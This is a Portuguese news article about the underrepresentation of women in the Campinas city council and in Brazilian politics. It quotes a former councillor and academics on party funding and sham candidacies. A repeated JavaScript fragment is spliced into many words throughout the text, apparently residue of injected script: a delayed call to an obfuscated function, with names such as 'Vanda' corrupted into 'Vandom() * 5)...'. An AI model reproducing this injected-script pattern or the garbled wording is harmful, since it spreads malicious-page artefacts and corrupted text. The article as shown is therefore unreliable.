Especialistas acreditam que mudança começará com a implementação de políticas públicas

Por Vitória Swartele e Milena Delwaide

A Câmara Municipal de Campinas foi criada no ano de 1797, entretanto, a primeira vereadora foi Vera Pinto Teles, eleita em 1948. Desde então, outras 14 mulheres ocuparam o cargo no legislativo municipal da cidade. As legislaturas de 1989 a 1992 e a de 2005 a 2008 foram, até o momento, as que mais concentraram parlamentares do sexo feminino, com três vereadoras atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em cada.

Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Russo, militante feminista e filiada do Partido dos Trabalhadores (PT), exerceu o cargo de vereadora se 1989-1992. Ela faz uma reflexão da importância da presença feminina na política da cidade e não tem dúvidas quanto à necessidade das mulheres ocuparem os espaços nas instâncias políticas, mas ressalva: “Mas não basta que sejam mulheres. É preciso que tenham consciência de classe, raça e gênero e só assim teremos mudanças reais na sociedade”, acredita.

A professora Stela Cristina de Godoi: “O poder legislativo municipal é fundamental” (Foto: arquivo pessoal)

Em 1932 o sufrágio feminino (direito ao voto) foi garantido pelo primeiro Código Eleitoral brasileiro. Todavia, Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda afirma que ao longo da história, a mulher foi educada para viver no espaço privado, sendo o espaço público reservado aos homens. “Considerava-se que a natureza submissa e pouco inteligente da mulher só era compatível com o espaço doméstico”, explica.

A doutora em Sociologia pela Unicamp e professora da PUC-Campinas, Stela Cristina de Godoi, explica que o poder legislativo municipal é fundamental para que as políticas públicas sejam formuladas a partir das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas populares. “Ter vereadoras progressistas é fundamental para que as mulheres negras da classe trabalhadora, por exemplo, possam ser auxiliadas com políticas públicas”, finaliza.

Financiamentos

O Brasil possui 15% de participação feminina no Congresso, sendo que a população feminina no país equivale a 52,5% e a maioria dos eleitores são do sexo feminino. Mesmo assim há escassez de mulheres ocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando cargos na política institucional.

A professora de direito constitucional da FGV-SP Luciana Ramos analisa o elemento que pode dificultar a inserção das mulheres na Política. “É a resistência dos partidos políticos em apoiar candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatas, e torná-las viáveis e com reais chances de se eleger”.

Em uma candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura, além do voto do público, é preciso um financiamento eleitoral. “No campo da ciência política, há diversos estudos nacionais e internacionais que mostram que o financiamento eleitoral é um fator relevante para o sucesso de uma candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatura. Atividades de campanha, tais como a comunicação com os eleitores, dependem de recursos financeiros”, diz Luciana.

Ramos afirma ainda que é fundamental citar o fenômeno das candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidaturas laranjas, em que as mulheres são inseridas nas listas partidárias apenas para cumprir o percentual mínimo de 30%, sem que recebam recursos e efetivo apoio do partido, que pode representar uma fraude eleitoral.

A ex-vereadora Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Russo: “É muito importante termos mulheres parlamentares”. (Foto: arquivo pessoal)

Mudança

A ex-vereadora Vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Russo afirma que a mudança deste cenário é através de políticas públicas transversais de gênero no município, que estejam presentes em todas as áreas da administração pública, tais como saúde, educação, assistência social, dentre outras.

Luciana Ramos acredita que só teremos uma modificação quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando houver um avanço em termos de igualdade de gênero. “As diferenças de gênero, raça, classe e idade nas Casas Legislativas estão relacionadas ao sistema político-partidário vigente no Brasil. Os políticos eleitos pelo sistema proporcional de lista aberta que embora favoreça a inclusão de diversos grupos sociais, é um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande empecilho à eleição de mulheres, que em geral possuem menos recursos e apoio do partido”.

Conselho Municipal 

Para ajudar no atendimento das demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas das mulheres, Campinas criou o Conselho Municipal dos Direitos das Mulheres (CMDM), no qual há vagas para diferentes grupos organizados da sociedade, como universidades, sindicatos e coletivos feministas. O conselho é um órgão consultivo e sua função é fiscalizar as políticas públicas e estruturar novas demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas sociais. (Colaboração: Roberta Galdino)

Orientação: Prof. Gilberto Roldão

Edição: Patrícia Neves